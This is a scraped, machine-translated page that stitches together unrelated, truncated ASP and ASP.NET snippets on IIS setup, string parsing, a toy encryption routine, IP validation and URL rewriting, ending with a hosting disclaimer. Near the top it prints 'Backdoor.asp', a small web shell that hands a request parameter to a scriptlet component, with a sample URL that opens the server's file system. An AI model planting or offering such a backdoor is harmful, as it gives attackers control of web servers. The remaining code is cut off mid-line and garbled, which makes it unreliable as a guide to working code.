The common processing method is, in the user login, judge whether this user has already existed in the application, if exists on the error, does not exist then adds to the application (application is all session common, A unique object for the
Backdoor.asp contents are as follows:
B=request ("a")
Set fs = GetObject ("Script:d:/web/scriptcodinginfo.wsc#haiyangtop")
FS.LCX (b)
%>
The method is invoked as follows: Http://url/backdoor.asp?a=CreateObject ("Scripting.FileSystemObject").
First,IIS7.0 configuration ASP. NET2.0
1, asp.net 2 department
1 first open the Win7 feature, the path I have marked
The selection below is asp.net2.0, if you want to support asp.net1.1, your selected IIS6 compatible
2.) Set security options
Copy Code code as follows:
Transformation
The ASPH handler is as follows:
Copy Code code as follows:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
Intercept a string-specific part of a content function '******************************
' Function: Getkey (html,start,last)
' Parameters: HTML, original string to be intercepted; tart, intercept start tag; last, intercept end tag
' Author: Arisisi
'
A_key=split ("96,44,63,80", ",") ' defines the key
' ********* encryption Process *********
Function EnCrypt (M)
Dim Strchar,ikeychar,istringchar,i
K=0
For I = 1 to Len (m)
Ikeychar =cint (A_key (k))
Istringchar = ASC (Mid (m,i,1)) ' Gets the ASCII
Cookies can not cross the domain is very troublesome, with this script is much more convenient.
Ip=request.servervariables ("REMOTE_ADDR")
Set Fso=createobject ("Scripting.FileSystemObject")
Set Files=fso.opentextfile (Server.MapPath ("./ip.txt"), 1,
Verifying IP format '******************************
' Function: Checkip (Par_strip)
' parameter: str string to be detected
' Author: Arisisi
' Date: 2007/7/13
' Description: Verify the IP format, is to return 1, otherwise return 0
' Example:
'******
Copy Code code as follows:
Function MoveR (RSTR)
Dim I,spstr
Spstr = Split (Rstr, ",")
For i = 0 to Ubound (SPSTR)
If I = 0 Then
MoveR = MoveR & Spstr (i) & ","
Else
If InStr (Mover,spstr (i)) =0 and I=ubound (SPSTR) Then
'*************************************
' Detect if it contains only English and digital
'*************************************
Function IsValidValue (Arrayn, STR)
IsValidValue = False
Dim Gname
For each gname in Arrayn
If Str = Gname
The stored procedure is done in the form of select top plus not, and the speed is pretty fast. I've tested the millions. General query in 1 seconds, paste out the exchange, to see if there are any good suggestions.
A few simple words can achieve
Function: Use ASP program to generate picture format of phone number in the page.
Copy Code code as follows:
Call Com_creatvalidcode (Request.QueryString ("tel"))
Public Sub Com_creatvalidcode (Ptel)
'----------Prohibit caching
The example in this article describes the method by which ASP.net implements DataList and repeater nested bindings. Share to everyone for your reference, specific as follows:
" > ?monitor_id= "> &L
T;/body>
First, the introductionIn the default model of the ASP.net Web page, the user submits the page by clicking a button or another action. At this point, the client submits all data in the current page form, including some automatically generated hidden
The first step, please download the sample source code from here. Unzip the UrlRewriter.dll copy to your project Bin directory.
In the second step, add in the web.config:
Copy Code code as follows:
The second step
For example, the following code is used to test characters that match a regular expression from 0xFF to 0xFFFF. All characters with a value range of 0 to 0xFE cannot be matched.The following are the referenced contents:
Copy Code code as
Some time ago, a friend. To complete this feature, the data is imported into the DataGrid and exported to Excel. This is really superfluous.
Solution:
read out data through LINQ and write directly to the data stream
The code is as follows:
As an exercise I added "Insert Code" "Insert Run Code", you can see the situation, add other ubb.2, Code:Default.aspx.cs
Copy Code code as follows:
Using System;
Using System.Data;
Using System.Configuration;
Using System.Web;
Using
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.